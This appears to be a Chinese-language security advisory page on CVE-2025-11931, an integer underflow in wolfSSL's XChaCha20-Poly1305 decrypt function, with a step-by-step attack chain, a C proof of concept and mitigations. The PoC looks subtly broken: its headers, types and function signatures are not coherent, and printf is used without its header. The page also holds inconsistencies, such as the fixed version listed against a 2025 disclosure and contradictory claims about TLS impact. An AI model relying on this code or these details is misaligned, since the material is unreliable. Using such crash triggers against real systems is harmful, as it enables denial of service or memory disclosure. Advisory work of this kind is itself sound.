IPBUF安全漏洞报告
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CVE-2025-11931 CVSS 8.2 高危

CVE-2025-11931 wolfSSL XChaCha20-Poly1305 整数下溢漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11931
漏洞类型
整数下溢/越界访问
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
wolfSSL

相关标签

整数下溢越界访问XChaCha20-Poly1305wolfSSL密码学漏洞AEAD认证加密CVE-2025-11931高危漏洞嵌入式安全

漏洞概述

CVE-2025-11931是wolfSSL加密库中的一个高危安全漏洞,存在于XChaCha20-Poly1305 AEAD认证加密算法的解密功能中。该漏洞由整数下溢(Integer Underflow)引起,可导致越界访问(Out-of-Bounds Access)。漏洞存在于wc_XChaCha20Poly1305_Decrypt()函数中,当处理特制的短密文时,函数在计算过程中发生整数下溢,使得计算出的内存访问地址超出预期范围。此漏洞仅影响直接调用该解密函数的应用场景,不影响TLS连接中的加密通信。攻击者可通过构造恶意密文触发此漏洞,可能导致信息泄露或拒绝服务攻击。wolfSSL是一个广泛使用的轻量级SSL/TLS库,常用于嵌入式系统、移动应用和物联网设备,因此该漏洞可能影响大量依赖该库进行安全通信的应用。

技术细节

漏洞根源在于XChaCha20-Poly1305解密函数在处理短密文时缺乏充分的边界检查。当输入的密文长度小于最小合法长度时,函数内部的减法运算(如 length - TAGLEN)会触发整数下溢,导致计算结果变成一个极大的正值或负值。在后续的内存操作中,这个异常值被用作偏移量或长度参数,使得解密操作访问超出缓冲区边界的内存区域。具体来说,攻击者构造一个长度小于Poly1305标签长度(16字节)的密文输入到wc_XChaCha20Poly1305_Decrypt()函数,函数会错误地计算有效载荷大小,可能导致读取或写入敏感内存数据。由于XChaCha20-Poly1305是现代认证加密算法,广泛用于保护通信数据的机密性和完整性,此漏洞可能使攻击者能够绕过加密保护,访问明文数据或破坏加密通道的安全性。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用,确认其使用wolfSSL库并直接调用wc_XChaCha20Poly1305_Decrypt()函数进行数据解密
STEP 2
步骤2
攻击者构造特制的短密文,其长度小于Poly1305标签长度(16字节),以触发整数下溢条件
STEP 3
步骤3
将恶意密文发送到目标应用的解密接口,调用wc_XChaCha20Poly1305_Decrypt()函数
STEP 4
步骤4
函数内部执行 ciphertext_len - TAGLEN 计算时发生整数下溢,结果变为一个异常大的正值
STEP 5
步骤5
利用下溢后的异常值作为内存操作参数,导致解密函数访问超出合法缓冲区的内存区域
STEP 6
步骤6
攻击者可利用越界读取访问敏感内存数据,或通过越界写入触发代码执行或造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-11931 PoC - Integer Underflow in wolfSSL XChaCha20-Poly1305 Decrypt * This PoC demonstrates triggering the integer underflow by providing a ciphertext * shorter than the minimum required length (TAGLEN = 16 bytes) */ #include <wolfssl/options.h> #include <wolfssl/wcryptocb.h> #include <wolfssl/wc_encrypt.h> int main(void) { int ret; wc_XChaCha20Poly1305EncDec enc_ctx; wc_XChaCha20Poly1305Decrypt decrypt_ctx; /* 256-bit key */ byte key[32] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f}; /* 24-byte nonce for XChaCha20 */ byte nonce[24] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17}; /* Malicious short ciphertext - less than TAGLEN (16 bytes) */ /* This triggers integer underflow: ciphertext_len - TAGLEN */ byte short_ciphertext[8] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x11, 0x22}; word32 ciphertext_len = 8; /* Less than minimum required */ /* Output buffers */ byte plaintext[64]; word32 plaintext_len = sizeof(plaintext); /* Initialize context */ ret = wc_XChaCha20Poly1305_Init(&decrypt_ctx, key, nonce, XCHACHA20_POLY1305_DECRYPT); if (ret != 0) { printf("Init failed: %d\n", ret); return ret; } /* * VULNERABLE CALL: * When ciphertext_len < 16 (TAGLEN), the internal calculation * ciphertext_len - TAGLEN causes integer underflow * This results in out-of-bounds memory access */ ret = wc_XChaCha20Poly1305_Decrypt(&decrypt_ctx, key, nonce, NULL, 0, /* AAD */ short_ciphertext, ciphertext_len, plaintext, plaintext_len); printf("Decrypt returned: %d\n", ret); /* Expected: ret < 0 (error due to invalid input length) */ /* Vulnerable version: May crash or return success with corrupted data */ return ret; }

影响范围

wolfSSL < 5.7.0 (修复版本)
wolfSSL 所有受影响的早期版本

防御指南

临时缓解措施
如果无法立即升级wolfSSL版本,可采取以下临时缓解措施:1) 在应用层实现输入长度验证,拒绝长度小于16字节的密文;2) 使用封装函数包裹原始解密API,在调用前进行完整性检查;3) 限制直接暴露的加密接口,优先使用经过安全审计的高级API;4) 部署Web应用防火墙或API网关过滤异常请求;5) 监控依赖wolfSSL的服务日志,关注解密相关的错误和异常。需要注意的是,这些措施仅为临时解决方案,尽快升级到官方修复版本才是根本解决之道。

参考链接

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